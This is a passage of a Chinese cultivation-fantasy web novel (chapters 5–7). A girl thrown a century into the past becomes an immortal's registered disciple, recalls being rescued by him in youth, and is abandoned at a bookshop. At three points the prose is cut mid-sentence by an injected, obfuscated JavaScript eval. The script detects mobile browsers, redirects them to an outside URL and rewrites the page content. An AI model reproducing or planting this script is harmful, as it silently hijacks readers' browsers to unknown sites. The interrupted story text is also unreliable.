“什……什么!”温溪柔瞬间瞪圆了眼睛,她猛地凑近,绕着温拂渔转了两圈,手还不安分地想扒拉她的胳膊肩膀,“你剑断了?仙尊救的你?受伤没?伤哪儿了?这算重大事故了吧?青山门得赔……” 有时候温拂渔还挺佩服她的精力,小嘴叭叭的,像是永远都有说不完的话。 “当然没事了,不然我能好好站在这里?”她叹气,“你就别闹腾了。” “你居然嫌我闹腾?我这不是……”温溪柔顿了顿,随即狠狠瞪了她一眼,气鼓鼓地撂下一句,“温拂渔,你死了算了!” 说罢,转身就冲向人群最远端,仿佛她是什么瘟疫源头。 这下世界终于清静了。 温拂渔长长吁了口气,疲惫感再次上涌。 然而,比身体更疲惫的是思绪。 方才连郁的邀请太突然,她甚至都怀疑自己听错了。 成为他的弟子? 她其实没想那么多,所求不过是泯然于众的普通弟子身份,无人瞩目,无甚期望。 更不想要再与他有任何纠缠的关系。 于是她当时便婉拒道:“回仙尊,或许我并不合适,我并无专精一道的志向。” 连郁将她的抗拒尽收眼底,那双眼眸却不起波澜,只淡淡道:“不必急于答复。考核还未结束,你尚有时间考虑。” 说罢他便一跃而起,消失在她的视野。 走下石阶时,纷乱的念头几乎将她淹没:他为何如此执着?难道她被认出来了?可百年时光足以模糊一切,十年未见都不一定相识,何况百年? 应该是她想多了吧。 比起这个,即将到来的选徒时间才是最大的煎熬。 高台上,四位仙尊皆已就位。 掌门茗月仙尊俯瞰下方,声音温润却带着不容置疑的威严:“诸位既已成功过三关,日后便是我青山门弟子。仙途漫漫,资质心性俱佳者,或可更进一步,入记名、亲传之列。” 选徒开始,周茗月率先挑走了一男一女,被选者喜形于色。之后的宋其旻和景川也各挑了两位弟子。 温溪柔就是其中之一。 她被宋其旻选中后小脸上满是骄傲,还不忘远远地朝她丢来一个挑衅的眼神,无声地宣告着“看,我比你强”。 按照顺序,这会儿该轮到祝荣仙尊连郁了。 然而,其余三位仙尊却仿佛心照不宣,周茗月直接宣布:“此届招新仪典圆满结束,普通弟子随执事前往居所,亲传弟子随师离去。” 悬着的心终于落下,温拂渔暗自松了口气,背起包袱,转身欲汇入普通弟子的人流。 “姑娘请留步。”柳无言的身影却在此刻拦在她面前,脸上带着歉意的笑,“我家师尊请您稍待片刻。” 她看了眼快要消失的大部队,秀眉微蹙:“不行,待会儿我该追不上了。” 柳无言愕然:她居然不关心仙尊找她为何,而是害怕找不到地方? “无碍。”清冽的声音自身后传来,“你还可随我回听雪峰。” 温拂渔心尖一颤,缓缓转身。 连郁不知何时已静立在她身后数步之遥,目光沉静地落在她身上。 “师尊。”柳无言恭敬行礼。 连郁微微颔首,视线却未离开温拂渔:“方才未在台上选你,是顾虑众目睽睽之下,你若内心不愿也难以拒绝,亦非你本意。我不愿强人所难,剥夺你选择之权。” 温拂渔抬眸,迎上他的目光,语气带着一丝困惑:“敢问仙尊是看中我什么了?三关考核我皆狼狈不堪,实在不知有何可取之处。” 对方的回答简洁到近乎敷衍:“合眼缘。” 温拂渔:“……啊?” 一旁的柳无言眼见气氛微妙,连忙凑近温拂渔,压低声音道:“姑娘,我家师尊收弟子很挑的。他不怎么收徒,我到绝雪顶时山上就一位师兄,结果两年后他离开,如今就剩我一人了,那叫一个寂寞啊。” 他想了想,随即又补充道:“而且师尊本来说这次不收亲传弟子的,你看他都为你破例考虑……” 温拂渔抓住关键:“既然不收亲传弟子,那我就更不该答应了,不然破坏了仙尊的誓言可不好。” 连郁淡淡瞟了柳无言一眼,少年瞬间噤声,缩了缩脖子,默默退后两步。 “是不收亲传弟子。”连郁的目光重新落回温拂渔脸上,“但我尚缺一位记名弟子。” 温拂渔:…… 虽然这百年间他的气质变了很多,但这死缠烂打的性格还是没变。 * 最终,温拂渔还是妥协了。 连郁毕竟是仙尊,她若是再拒绝,那不就太不给人面子了 而且记名弟子的束缚要少上一些。不必日日聆听教诲,杂事或许不少,但天塌下来有亲传顶着。 当然,最重要的一点是——记名弟子对其的称呼自便,她可以不用强制唤他为师尊。 回听雪峰的途中,连郁表示还有事要与其他三位仙尊商议,便招来一只鹤载他们回去。 而柳无言这位大师兄,自然担起了向导之责。 他坐在温拂渔身后,俯瞰下方为她介绍道:“师妹你看,普通弟子的居所就在那,那是最大的一块地,从方才的场地下几阶石梯,再走几段路就到了。” 随后他又指了指斜下方一处山峰上的阁楼:“这是其旻师伯的浮波阁,离听雪峰最近,一般也是乘坐仙鹤才能上来。其他二位师伯的居所这里看不见,我之后再与你介绍。” 柳无言兴致勃勃地指点介绍,温拂渔默默听着,心底却泛起一丝难以言喻的恍惚。 百年变迁,沧海桑田,她竟以这种方式,再次俯瞰这片既熟悉又陌生的土地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252352|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙鹤在听雪峰顶平稳降落,扑面而来的,是一股带着淡淡寒意的空气。 峰如其名,触目所及,亭台楼阁仿佛都蒙着一层薄薄的霜色,连空气都透着冰雪的冷意。 温拂渔站稳后,下意识想摸摸仙鹤的头,它却清唳一声,振翅远飞,只留下一道洁白的剪影。 柳无言显然对这位小师妹的到来充满喜悦,话匣子彻底打开:“师妹你看,这里是咱们的小书阁,虽然不大,但典籍挺全……那边是饭堂,一日三餐都有灵厨精心烹制……修炼场在那边,视野开阔,灵气也足……哦,前面那栋就是师尊的居所听雪阁了,我带你去你的房间。” 他领着温拂渔穿过庭院。 庭院中央是一片精心打理的花圃,此刻虽非繁花似锦之时,但几株耐寒的灵植却绽放着星星点点的洁白花朵。花圃四周环绕着竹制回廊,连接着几间雅致的厢房。 “这里就是你的房间了。”柳无言推开一扇房门,位置极好,正对花圃中心,“清晨推窗,就能看到这片景致,不错的位置吧。” 温拂渔点点头,目光扫过相邻的房间:“师兄的房间在隔壁?” 柳无言的笑容顿时变得有些讪讪:“呃……其实,我去年就搬出听雪阁了。如今住在后山竹林里的一间小木屋,是师尊年少时住过的地方。” 温拂渔微微一怔。 搬出去了?那如今住在听雪阁里的不就剩她和…… 她猛地反应过来,一把抓住柳无言的衣袖,声音都拔高了一度:“什么?为什么!” 这可能是她今天情绪最外露的时刻。 柳无言被她这反应弄得有点懵,倒没觉得冒犯,反而觉得这才像个活生生的师妹。 他苦着脸,朝着花圃方向努了努嘴:“还不是因为这里住着位惹不起的祖宗……” “喵——” 仿佛为了印证他的话,一声慵懒的猫叫响起。 只见花圃的栏杆上悄然蹲坐着一只通体雪白的猫儿。它体型优雅,此刻正歪着头,用碧蓝的眼眸打量着温拂渔这个不速之客。 温拂渔的目光与那对猫瞳对上,心头莫名一跳:“猫?” 柳无言立刻切换模式,对着白猫一脸谄笑:“雪儿,这位是新来的温师妹,以后就是咱们听雪峰的人了,你可要与她好好相处,千万别像对待我那样啊。师妹这小脸多水灵,抓花了多可惜……” 他边说边下意识摸了摸自己脸颊某处。 白猫雪儿似乎听懂了,又似乎没懂。它不再看柳无言,而是继续盯着温拂渔看了几息。 就在柳无言以为这位祖宗又要发难时,雪儿却只是优雅地甩了甩尾巴,对着柳无言的方向龇了龇牙,发出一声不满的轻哼,随即轻盈地跳下栏杆,几个起落便消失在花丛深处,只留下几片颤动的花瓣。 柳无言对着空气悲愤控诉:“看,它又这样!我不就之前不小心踢翻了它的小鱼干,至于记仇记到现在吗?” 他转向温拂渔,开启了滔滔不绝的血泪史:“师妹你是不知道,这白猫脾气可大了,刚被师尊捡回来那会儿,挠坏了好几幅古画,摔碎过师尊心爱的茶盏。如今也就师尊在的时候装装乖,对着我,那就是个披着雪白皮子的大麻烦!我好几件衣衫被它抓坏了,再待下去,我可能人都得破破烂烂的……” 雪儿…… 温拂渔的目光追随着雪儿消失的方向,又缓缓环顾这清冷的庭院。 他还真是喜欢捡麻烦。 如今捡了只骄纵难缠的白猫。 曾经也捡了个浑身是伤,来历不明的她。 5. 初遇 温家是个大家族,世代习武,有天生好苗子,也有充满遗憾的天才。 而她的舅舅温霁,就是充满遗憾的天才。 爹娘遇害那年,舅舅也不过二十五。正是意气风发,剑试天下的年纪,却因为救她与那黑衣人打了好几个来回,双腿被硬生生折断。 她被侍卫拼死抢回,数日后才在弥漫着苦涩药味的房间里看到舅舅苍白的脸,他却像变戏法似的摸出一块麦芽糖,对她扯出个笑容。 “阿渔别难过,以后长大了,就该轮到你保护舅舅啦。” 温拂渔便把这话记在了心里。 从此,她摒弃了所有孩童该有的无忧无虑,疯狂地压榨自己的身体潜能。日复一日的苦练,汗水浸透衣衫,淤青布满筋骨,竟也搏得外人一声声“温家又出天才”的赞叹。 可努力与天赋,外人分不清,温家那群老古板可分的很清楚。 他们清楚地知道,没了温霖,残了温霁的他们这支旁支已与烂泥无异,与其耗费珍贵资源去治愈一个“废人”,不如倾注在更有价值的新生代身上。 至于温拂渔? 小小年纪就如此阴郁,眼神冰冷,毫无她母亲当年的侠义明媚。族老们私下议论:这般丧气模样,怕是有损温家清名。 于是他们成了温家弃子。 眼见送来的草药日益敷衍,药效微乎其微,温拂渔冷着脸踏进城中最大的医馆,声音带着与年龄不符的冷硬:“药方给我,草药,我自己采。” 这样的日子持续了五年。 直到温拂渔十五岁那年,在摘草药的途中惨遭黑衣人追杀,她使劲浑身解数也无法战胜对方,便想着先一逃了之。 结果在逃亡途中,雨后的山路长满青苔,她脚下一滑,从山坡一路滚下了山崖。 掉下去的一瞬间,她恍惚见那人下意识地朝她坠落的方向伸出了手,同时她清晰地看见了他手背上的两道狰狞伤疤。 “原来是你……”温拂渔意识模糊,牙齿咬得咯咯作响,用尽最后力气嘶喊,“混蛋,我做鬼也不会放过你的……” 或许是这恨意太过强烈,意识沉入黑暗前,她竟恍惚感到一束奇异而温暖的光,轻柔地包裹住她,仿佛要抚平所有伤痛…… 然后,她便落在了地上。 没有预想中粉身碎骨的剧痛,只有浑身散架般的钝痛与无数伤口的灼烧感。 温拂渔艰难地动了动身。 身下是松软的泥土和青草的气息,而非崖底的乱石泥沼。 她茫然地环顾四周,却发现身后根本没有万丈深渊,只有一片开满了不知名野花的小山坡。微风拂过,花浪起伏,绚烂得不似人间。 这是她……死前的幻想? 身体痛得无法直立,她几乎是爬着靠近那片花海。指尖拂过柔软的花瓣,少女沾满血污和泥土的脸上,竟露出一丝微不可察的笑意。 就在这时,身后传来轻微的脚步声。 温拂渔瞳孔骤缩,随手抓起一根尖锐的断枝,头也不回地狠狠向后掷去。 来人显然没料到这突如其来的袭击,仓促间狼狈闪避,断枝擦着他的衣角,深深插入他脚边的泥土里,尾端颤一颤的。 “嘶……”少年倒吸一口冷气,心有余悸地拍着胸口,“好险,差点就被刺穿……” 他抬眼看向攻击来源,声音戛然而止。 花丛边,一个衣衫褴褛浑身是血的少女,正死死瞪着他,他甚至能读出里面的杀意。 温拂渔本来刻意偏了点方位,但如今见他这反应速度,刚压下的警惕性再次冒出——这人身手不似普通人,莫不是那黑衣人伪装的? “原来还是现实啊……”她喃喃道,又摸索了根长一点的树枝,身形摇晃而起,尖端指向少年,不由分说地就朝对方刺去。 背着药篓的少年彻底懵了。 “诶?姑娘,是不是有什么误会啊!”他一边狼狈地抱头鼠窜,一边试图解释,“我就是个路过采药的,骗你是小狗!” 他简直欲哭无泪。 刚帮村里李奶奶采完急需的凤尾草,想着抄个近路回家,怎么就撞上这么个煞星? 而且看她那满身伤,血都快流干了,怎么还能爆发出这么凶悍的战斗力! 可这时候的温拂渔哪听得见他那些话,一想到这黑衣人的罪行她就恨不得立刻把他千刀万剐。 于是两人一追一逃,在山坡上演着极其荒诞的一幕。 只是温拂渔这具身躯哪还抵地过她这般折腾,身体的虚弱感是瞬间而来的,随后她眼前阵阵发黑,便什么也看不见了。 被追杀的少年吓得心脏骤停,却突然察觉身后的攻势停下了,紧接着便是“噗通”一声重物倒地的闷响。 少年脚步一顿,惊疑不定地回头。 只见那凶悍的少女,像断了线的木偶,直挺挺地倒在花丛里,脸色惨白,一动不动。 少年小心翼翼地挪近几步,蹲下身,试探着伸出手指探了探她的鼻息。 嗯,还活着。 他看看少女惨烈的伤势,又看看自己装满草药的背篓,再看看不远处村落升起的炊烟,内心开始作斗争。 救,还是不救? 保不准救了之后他会被砍成臊子。 少年重重叹了口气,最终还是认命地放下药篓,动作尽量轻柔地将她背到自己的背上。 “没办法,青山门弟子就是有一副好心肠啊……” 他一手提起药篓,深一脚浅一脚地朝着家的方向走去,背影在夕阳下拉得老长。 * 温拂渔是被疼醒的。 她猛地睁开眼—— 陌生的屋顶,简陋的梁木,身下是硬邦邦的木板床,身上盖着粗糙但干净的薄被。她被换上了一套不太合身的男装,身上大大小小的伤口都被涂抹了药膏。 她还活着。 是方才那名少年救的她吗?原来他不是坏人? 一想起方才自己跟个疯子般追着人家杀,她突然觉得好丢脸,一刻也不想在这里停留。于是她强忍剧痛,咬牙翻身下床走到窗边。 待她回家修养几日,下次再登门道歉吧。 正想着,门外却传来声音—— “哥!你以前捡些受伤的兔子山雀回来也就罢了,这次怎么捡个大活人?还占了我的床!” “阿姝,小声点!”是那个少年的声音,“你是没看见她当时伤得有多重,倒在山坡上夸夸流血,再不管真会没命的,我总不能见死不救吧?” 听见他们的声音就在门口,温拂渔本来两个动作就能逃出去,但是如今身体抱恙,她连开个窗都很艰难。 “不过她很凶的,若她醒了你救稍微离她远点……” 温拂渔心头一紧,动作更快,双手抓住窗棂。同时房门被推开,二人交流的声音突然中断。 屋内烛光摇曳,屋外暮色沉沉。温拂渔一条腿跨在窗外,僵硬地回过头。 门口,少年手里拿着药膏,和一个与他眉眼相似的小姑娘正目瞪口呆地看着她这姿势。 空气瞬间凝固。 少年一愣:“诶?姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252353|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘你这是……” 温拂渔回过头,趁着对方愣神的瞬间,另一条腿也用力一蹬。可惜她动作太急,又高估了重伤身体的协调性,落地时脚下一软,竟被窗下一根低矮的树枝狠狠绊了一下。 “唔!”她差点摔倒。 “喂,你别乱动啊!”少年急了,把手里的药膏往妹妹手里一塞,“阿姝拿着,我去拦她!”说罢便敏捷地翻窗追了出来。 温拂渔忍着痛在小院到处穿梭。 这院子实在小得可怜,堆满了柴火和农具,走哪挡哪,原本拉开的距离很快就被对方追上。 眼见那手就要抓住她的肩膀,温拂渔一个侧身躲过,下意识一记横扫腿踹他腰侧。 “哎哟——” 少年猝不及防被踹了个正着,结结实实摔倒在地,疼地龇牙咧嘴,“我这是救了个什么祖宗啊……” “抱歉,我不是故意的。”温拂渔回头道歉,脚下却不停歇地往外走。 然而,当她冲到院门口,望着眼前全然陌生的景象时,整个人却僵住了。 夕阳下,低矮的农舍错落,炊烟袅袅,远处是开满野花的山丘。没有高耸的城墙,没有熟悉的云陵城标志性的望楼。 云陵城……在哪边? 她想了想,终是又退回少年身侧,拽住手腕将他拉拎起,询问道:“请问这是哪?云陵城在哪个方向?” 少年本来以为自己还要遭到一顿毒打,结果却听见少女这般询问,他不禁疑惑道:“这里是万花庄啊。话说你说的那个云陵城……有这地方吗?” 少年疑惑云陵城,就像温拂渔疑惑万花庄一样。 万花庄?这个地方不是早就没了吗?抵不过天灾,地面四裂开来,成了一座孤崖,也就是她为舅舅摘草药的地方…… 她沉浸在思考里,忘记手上抓着人手腕,力道不禁有些重,疼得少年倒吸一口凉气。 “你个坏蛋!快放开我哥哥!” 温拂渔闻声抬起头,便见一盒药膏从她身侧飞过,随后小姑娘跑过来,眼泪汪汪地捶打她:“你为什么要打哥哥!要不是他救你,你早就死了!我讨厌你讨厌你!” 小姑娘的拳头砸在伤口上,带来细密的刺痛,但温拂渔仿佛感觉不到了。 她任由连姝推搡,目光空洞地望着这片陌生的土地,一个荒谬绝伦的念头从她脑海闪过。 她声音干涩:“请问现在是哪一年?” 兄妹俩对视一眼:“呃……太初二十年?” 太初二十年。 这是个属于过去历史的年号,是距她所处时代的百年前。 温拂渔脑子里像是有什么炸开了。 她居然……穿越了? 这种只在话本子才会出现的情况? 那么,她又该如何回去? 一瞬间,方才那个顶着一身伤,做事果断,下手快准狠,仿佛什么都不怕的少女突然变得迷茫,像一株暴雨夜的蒲公英,脆弱得仿佛下一秒就会消散。 少年被她这突然转变的情绪弄得云里雾里,却还是捡起一旁孤零零的药膏递给她:“那个,其实我就是怕你出事才追着你的,你若是想离开,这药膏你拿着,回家后按时换药就好了。” 温拂渔没有伸手。 她慢慢地低下头,长长的睫毛剧烈颤抖着,在苍白的脸上投下浓重的阴影。 随后,一个极轻的声音从她唇间逸出,轻飘飘地落在暮色四合的小院里,却重得让人心头发颤。 “……家?” “我……回不了家了。” 6. 暂栖 温拂渔最终还是跟着少年回了小院。 重新裂开的伤口被仔细清洗,上药,包扎。这一番操作下来她平静了不少。 察觉到她周身那股尖锐的戾气淡了些,少年这才小心翼翼地开口:“那个,你方才说回不了家了,是什么意思?” 温拂渔言简意赅:“字面意思,无处可去。” 连姝极其不喜欢温拂渔的态度,尤其想到庄里极受敬重的哥哥,居然被这个来历不明,说话还颠三倒四的家伙打了,小姑娘就一肚子火。 “骗人!你方才明明一副势必回家的模样,这会儿又说什么回不了家了,谁信啊!” 温拂渔抬眸瞥了连姝一眼,竟一脸认真地指了指脑袋:“嗯,大概是摔下来时磕坏了脑袋,刚刚才想起来回不了。” 嘴长她身上,自己的身体情况她自己想怎么说就怎么说。 “你!”连姝被她这态度气得跳脚。 “阿姝。”连郁连忙按住妹妹,带着歉意看向温拂渔,试图缓和气氛,“那个,我们也算是不打不相识了。我叫连郁,这是我妹妹连姝。姑娘该怎么称呼?” 温拂渔挖药膏的手一顿。 她不是这个时代的人,迟早要找到回去的方法,没必要留下自己的名字。 她垂下眼帘:“没有。” “哈?”连姝像是听到了天大的笑话,“搞笑了吧,人怎么可能没有名字?又不是没爹娘给你取……” 她的话戛然而止。因为她看到温拂渔倏然抬起头,那双眼睛清凌凌的,没有愤怒,却也没有欺骗。 她听见少女的声音冷而平静:“对,我没有爹娘了。” 过于直白的回答像一根利箭刺进连姝的心口。她从小被父母兄长的爱包裹着长大,从未想过“没有爹娘”这种话能被人如此轻易平静地说出口。 她涨红了脸,又气又急:“你,你你,饭可以乱吃,话不能乱讲!说这种话被听见了,是会被爹娘打屁股的!” 温拂渔继续抹药膏,头也没抬:“没乱说,他们在我小时候就去世了。” 连姝张了张嘴,却一个字也吐不出来,她求助地看向哥哥,眼圈微微泛红,一副不知所措的模样。 连郁却像是明白了什么,轻轻握住妹妹的手,声音放得更柔:“所以……你是因为爹娘早逝,才没有名字的吗?” 温拂渔动作一顿。 嗯?她只是分别回答了两人的问题而已,这两番话之间完全没有关系啊? 可转念一想,这似乎是个完美的挡箭牌,省得她还要想借口。 于是她别开脸,几不可察地点了下头,算是默认了这个荒谬的结论。 得到本人肯定答案的连郁为自己的聪慧开心了一瞬,随即他又苦恼道:“那我们应该怎么称呼你啊?” 温拂渔道:“就叫我无名吧。” 傍晚,连父连母劳作归来,见饭桌上多了一个水灵的陌生少女,夫妻俩也只是温和地询问了几句缘由,便麻利地收拾出一间干净的厢房,让温拂渔安心住下养伤。 温拂渔面对这种和蔼的长辈,就会稍微收敛一些戾气,乖乖看着他们给自己收拾房间,还时不时帮忙搭把手。 连母见她拘谨,便一边整理一边笑着与她闲聊,得知她竟与自家儿子同岁,话匣子更是打开了。 “郁儿在仙门修行,每次回来啊,身上也总带着伤。”连母叹了口气,语气里是藏不住的心疼,“我看着揪心,说他吧,他总说娘大惊小怪。唉,当娘的哪有不心疼孩子的,这孩子就是不懂……” 温拂渔默默地听着,指尖无意识地蜷缩了一下。 小时候后只是膝盖擦破皮,她就可以抓着爹娘委屈大哭,等着他们来哄自己。后来跟着舅舅生活,她只要有一处受伤不舒服,舅舅立马就能看出来,并坚决要她好好养伤。 原来,拥有的人,真的会习以为常。而失去的人,连回忆都带着酸涩的刺。 她垂下眼,将那一丝翻涌的情绪死死压回心底。 * 温拂渔就这样在连家小院暂时安顿下来。 最初的几天,除了养伤,她总会回到那个让她坠落的山坡。 她在茂密的花丛中反复搜寻,手指拂过每一寸草地,试图找到任何可能属于时空乱流的痕迹,或者什么存在于传说中的神秘符文。她甚至会躺回当初的位置,闭眼感受,模拟坠落时的情景,渴望奇迹再次发生。 可惜总是一无所获。 后来,她渐渐不再去了。 一方面是因为身上换上了连母年轻时的衣裙,她不好意思再弄得脏兮兮。另一方面,小院里那个不起眼的小书房,无意间为她打开了一扇新的窗。 那日书房门虚掩着,她走进去想找些闲书打发时间,却在角落的木箱里发现了几本很基础的仙门秘籍,应该是连郁的。 鬼使神差地,她翻开了它们,并开始照着图谱练习,一招一式,心无旁骛。 沉浸其中时,那压得她喘不过气的回家执念,竟能短暂地搁置一旁。 连郁帮邻居做完农活回来,常能看到她在院中空地习武的身影,动作极其标准。他便会抱臂倚在门框上,饶有兴致地看一会儿,偶尔出声指点一两句关键处。 两人之间竟形成了一种奇异的默契。 就这么和谐地度过几日后,连郁看着她习武的身影,终是问出了纠缠他好几日的迷惑:“姑娘,你的身手如此矫健,是跟谁学的啊?我最初还以为你是从哪个门派溜出来的弟子呢。” 温拂渔气息微喘,额角沁着细汗。 她认真回想了一下:幼时启蒙的武师,后来手把手教导的母亲和舅舅,还有府中那位侍卫姐姐…… “很多人。”她如此回应道。 连郁脸上笑容不减,内心忍不住吐槽:跟没说一样。 忽然,他像是想起什么似的,眼睛一亮:“对了,这些基础的书你也看得差不多了吧,有兴趣去镇上的书铺看看吗?我那几本秘籍,就是在镇上的万卷斋里淘来的旧书,那里好东西可不少。” 温拂渔点了头。 结果第二日,温拂渔与连姝两个人站在小院门口大眼瞪小眼,然后齐齐将目光投向连郁。 连姝率先发难,鼓着腮帮子质问道:“哥,为什么她也跟着去?” 温拂渔也蹙起眉,眼神无声地质问:你昨天可不是这么说的。 连郁则毫无愧疚地挠挠头:“抱歉,昨日张叔临时找我帮他修屋顶,我一时嘴快答应了,实在推不掉,所以就只能……你和姐姐两个人一起去了。” 连姝瞪他一眼:“每次都是这样,外人比我还重要是吧?”随后又看了温拂渔一眼,“还有,她才不是我姐姐!” 温拂渔瞬间明白了。她这是被连郁算计了。 连郁见温拂渔气压骤降,连忙凑近她耳边,压低声音飞快解释道:“对不住对不住!阿姝闹着要去书铺很久了,过些天我就要回门派,实在没时间单独带她。你就帮我个忙,保证她安全就行。她逛她的,你看你的,互不干扰,书钱全算我的,就当赔罪。” 温拂渔:“……成交。但下不为例。” * 去镇上的马车里,气氛沉闷。 温拂渔靠着车窗,目光投向窗外飞速掠过的村庄。连姝则紧紧贴着另一侧的车厢壁,恨不得把自己嵌进去,离温拂渔越远越好。 这副避之不及的模样,让温拂渔莫名想起她的表妹。 不过两人还是有区别的。温溪柔是别扭地一边靠近一边嫌弃,连姝则是纯粹的讨厌。 下车后,温拂渔自觉落后连姝半步,沉默地跟着她走向镇中心那座万卷斋。 听连郁说,这是方圆百里最大的书铺,藏书浩瀚,甚至能淘到一些仙门流落出来的孤本秘籍。 起初,温拂渔的视线还留意着连姝,但很快,她就被书铺内的浩瀚书海吸引了。 空气中弥漫着陈年纸张与油墨的味道,她穿梭在书架间,指尖拂过一本本册子,渐渐沉浸其中。 百年前人们喜欢的话本可比她那个时代写的更大胆,好看爱看。 一本赫赫有名但是百年后失传的武林秘籍,详细但她没兴趣。 还有这本超大型的画册,线条奔放,动作大胆的春…… “啪!” 温拂渔猛地一下把书合上,迅速将那本烫手山芋塞回书架最深处,脸颊不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252354|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉红了一点,还心虚地左右看了看。 她定了定神,继续在书铺游走,直到她翻到一本《六界说·卷一·人鬼篇》。 此世由神、魔、仙、妖、人、鬼六界共掌。 人鬼二界生灵最为孱弱,天生无灵,需后天苦修方有机会登仙,但也易一念成魔。妖族天生有灵,可化形万物,但需克制杀伐本性,否则易堕魔道。 至于神魔二界,乃天地至尊,掌法则,亦可窥探天机,扭转时空。 扭转……时空? 温拂渔立刻认真阅读起来,可是无论怎么往后翻,她都没再看见与时空相关的字眼。 “小姑娘对神魔之事感兴趣?”一个带着笑意的男声突兀地在身后响起,距离近得让她瞬间绷紧了身体。 温拂渔猛地合上书册,转身警惕地看向来人。 那是一个身材高挑的男子,穿着料子不错的青色长衫,头发一丝不苟地束在脑后,露出一双微微上挑,含着笑意的狐狸眼。他正饶有兴致地看着她手中的《六界说》。 “方才见你盯着‘窥探天机,扭转时空’那段看了许久,是想知道更详细的内容……比如,该如何做到吗?” 温拂渔后退半步,浑身散发着生人勿近的气息:“窥人隐私,冒昧至此。我没兴趣听你说话。” “警惕性真高啊。”男子也不恼,反而笑得像只偷腥的狐狸,“好心告诉你吧,这《六界说》共有三卷,你手上这只是卷一,讲人鬼,其他都是泛泛之谈。另外两卷的下落嘛……” 他故意拖长了调子。 温拂渔握紧书册的手指收紧:“你知道?” 男子摊手:“当然。卷二《仙妖篇》,卷三《神魔篇》,内容可比这卷一精彩多了。可惜因为某些缘故,这两卷不像卷一流传甚广。据我所知,完整的孤本,仅存于一处。” “在哪里?”温拂渔的声音不自觉带上一丝急切。 “青山门。”男子吐出三个字,观察着她的反应,“怎么样,这消息值不值得你对我态度好点?” 青山门? 温拂渔对这个名字有印象,它是百年后的天下第一仙门,门槛十分之高。 她狐疑地盯着男子:“我凭什么信你?” 男子耸耸肩,笑容不变:“因为我亲眼见过那两本书,就在青山门的藏书阁里。至于信不信……”他微微倾身,狐狸眼里闪烁着狡黠的光,“姑娘不妨想想,以一个仙门名派的名声地位,我说谎骗你去,对我有何好处?对你,去探一探,又有什么损失呢?” 温拂渔虽然依旧觉得这人信不过,但既然有了关于回家的线索,她觉得他说的对,试试也不亏。 她决定好了,抬头打算询问该如何称呼他,却发现他不见了。 温拂渔的心沉了沉:这人更可疑了! 她又左右看了看,发现那人真的不见了,索性只好抱着书去柜台结账。 她将书放在柜台上:“掌柜,这本书记在连郁名下。” 头发花白的老掌柜翻看着厚厚的账本,眉头越皱越紧,反复确认了几遍,才带着歉意抬头:“实在对不住啊姑娘,方才那位连家小姑娘特意来打过招呼了,说除了她自己,任何人记在连公子账上的东西,一律不作数。” 连姝? 温拂渔这才惊觉,她居然把这小丫头给忘记了。 “不好意思,她人在哪?” 掌柜的眼神闪烁,支支吾吾:“呃……这个……她结完自己挑的书账后,就走了有一会儿了……” “走了,一会儿?” 温拂渔心头猛地一跳,一种不祥的预感瞬间笼罩了她。 她顾不得那本书,转身冲出书铺,朝着马车停靠的地方狂奔而去。 可哪里还有马车的影子? 空荡荡的街角,只有几片落叶在打着旋儿,连车轱辘印都被来往的行人踩得模糊不清。 温拂渔僵立在原地,午后的阳光照在身上,却感觉不到丝毫暖意。微风吹过,卷起她额前的碎发,露出那双读不出任何情绪的眼睛。 啊。 她看着那片空地,心中一片死寂的荒芜。 她好像……又没有归宿了。 7. 寻踪 连郁动作麻利,早早就帮张叔修好了屋顶。此刻他坐在自家小院里,吃着张婶塞来的热乎糕点,面前还特意留了一碟,是给去镇上的连姝和温拂渔的。 他望着院门,心里有点没底。 也不知道两人相处的怎么样。 正想着,马车轱辘声由远及近停在院外,接着是连姝数着铜钱的清脆声音。 只是院门被推开,进来的却只有连姝一个人。 连郁心头一跳,问道:“怎么就你一个人回来?” 连姝的视线第一时间被桌上那碟糕点吸引,她欢呼一声扑过去,连郁却眼疾手快地将碟子端开,声音沉了几分:“阿姝,姑娘她人呢?” 连姝扑了个空,不满地噘起嘴,眼神却飘忽着不敢看哥哥,含糊道:“没,没看见她呀……可能她自己走了吧?我就先回来了。” 可她面对的是谁? 是连郁,那个从小看着她长大的兄长。他熟悉她的每一处细微表情,小动作,他知道她撒谎的时候绝不会看着他的眼睛。 “阿姝,”连郁的声音不高,却异常严肃,“是她自己离开的,还是……你把她丢下了?” 连姝的小脸白了白,不说话了。 连郁的心顿时沉了下去。他本意是想让阿姝在相处中放下成见,却没想到弄巧成拙,走到了最坏的局面。 他放下糕点碟,起身就往外走。 